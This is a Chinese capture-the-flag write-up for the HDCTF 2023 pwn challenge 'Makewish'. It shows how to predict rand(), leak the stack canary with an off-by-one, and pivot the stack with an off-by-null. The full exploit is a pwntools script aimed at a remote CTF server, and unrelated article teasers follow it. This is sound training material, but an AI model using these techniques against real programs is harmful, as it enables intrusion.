【PWN · 栈迁移|off-by-one|伪随机|爆破】[HDCTF 2023]Makewish

news/2024/5/19 21:56:44 标签: linux, ctf, pwn, 栈迁移, StackOverflow

一道精巧、包含很多要点的题目

一、题目

二、思路浅析

通过ctypes酷通过伪随机数检测,没用srand指定随机种子时,默认srand(1)。

通过puts_name的off-by-one来泄露canary

进入vuln时,发现只能刚好填充到rbp前面,但是会将最后一个字符的下一个字节置为0

——可以通过off-by-null来覆写main_rbp的低字节为0,而vuln函数后面程序退出,两次leave;ret,构成栈迁移,且往低地址迁移,一定概率落在覆写的“wish”字符串中。通过爆破多试几次即可。

三、exp

from pwn import *
from ctypes import *
context(arch='amd64',log_level='debug')

libc=cdll.LoadLibrary('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

# gdb.attach(io)
# raw_input()
while(1):
    io=remote('node4.anna.nssctf.cn',28895)
    io.recvuntil(b'name\n\n')
    io.sendline(b'a'*39+b'b')
    io.recvuntil(b'aaab')
    canary=u64(io.recv(8))-0x0a
    success(hex(canary))

    libc.srand(1)
    num=libc.rand()%1000+324
    io.send(p32(num))

    io.recvuntil(b'can make a wish to me\n')
    raw_input()
    backdoor=0x4007C7
    payload=p64(backdoor)*11+p64(canary)
    io.send(payload)
    raw_input()

    io.interactive()


http://www.niftyadmin.cn/n/5145840.html

相关文章

史上最详细注释,用flask写一个博客系统

文本用flask写个博客系统,源码带有详细注释,通俗易懂,拿去就能用。博客效果如下,博客首页: 这个博客麻雀虽小,但五脏俱全。有如下功能: 博客文章浏览用户注册用户登录/登出发文章/修改文章/删除…

学习笔记二十九:K8S配置管理中心Configmap实现微服务配置管理

Configmap概述 Configmap概述Configmap能解决哪些问题?Configmap应用场景局限性 Configmap创建方法命令行直接创建通过文件创建指定目录创建configmap 编写configmap资源清单YAML文件使用Configmap通过环境变量引入:使用configMapKeyRef通过环境变量引入…

听GPT 讲Rust源代码--library/std(13)

题图来自 Decoding Rust: Everything You Need to Know About the Programming Language[1] File: rust/library/std/src/os/horizon/raw.rs 在Rust源代码中,rust/library/std/src/os/horizon/raw.rs这个文件的作用是为Rust的标准库提供与Horizon操作系统相关的原始…

【佳学基因检测】Node.js中如何读取并调用内容

【佳学基因检测】Node.js中如何读取并调用内容 先给出功能实现代码: var http require(http); var fs require(fs); http.createServer(function (req, res) {fs.readFile(jiaxuejiyin.html, function(err, data) {res.writeHead(200, {Content-Type: text/html…

uni-app 应对微信小程序最新隐私协议接口要求的处理方法

这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助 一,问题起因 最新在开发小程序的时候,调用微信小程序来获取用户信息的时候经常报错一个问题 fail api scope is not declared in the privacy agreement,api更具公告…

[H5动画制作系列]坐标转化问题一次搞清,一了百了

前言: 本次演示的坐标包括三个坐标层: 1.舞台上的某位置相对于舞台的全局坐标的坐标(黑色)。 2.舞台上蓝色实例内部某位置相对于该蓝色实例内部局部坐标的坐标(蓝色)。 3.舞台上蓝色实例内部的红色实例内部某位置相对该红色实例内部局部坐标的坐标(红色)。 舞台…

Centos8安装yum源时候出现的异常问题及解决方案(保好使)

问题的出现 作者在使用centos8的时候,想安装tree命令,输入了如下的命令: yum install tree 但是却显示了下面的错误: Errors during downloading metadata for repository base: - Curl error (28): Timeout was reached for h…

Windows ObjectType Hook 之 ParseProcedure

1、背景 Object Type Hook 是基于 Object Type的一种深入的 Hook,比起常用的 SSDT Hook 更为深入。 有关 Object Type 的分析见文章 《Windows驱动开发学习记录-ObjectType Hook之ObjectType结构相关分析》。 这里进行的 Hook 为 其中之一的 ParseProcedure。文章实…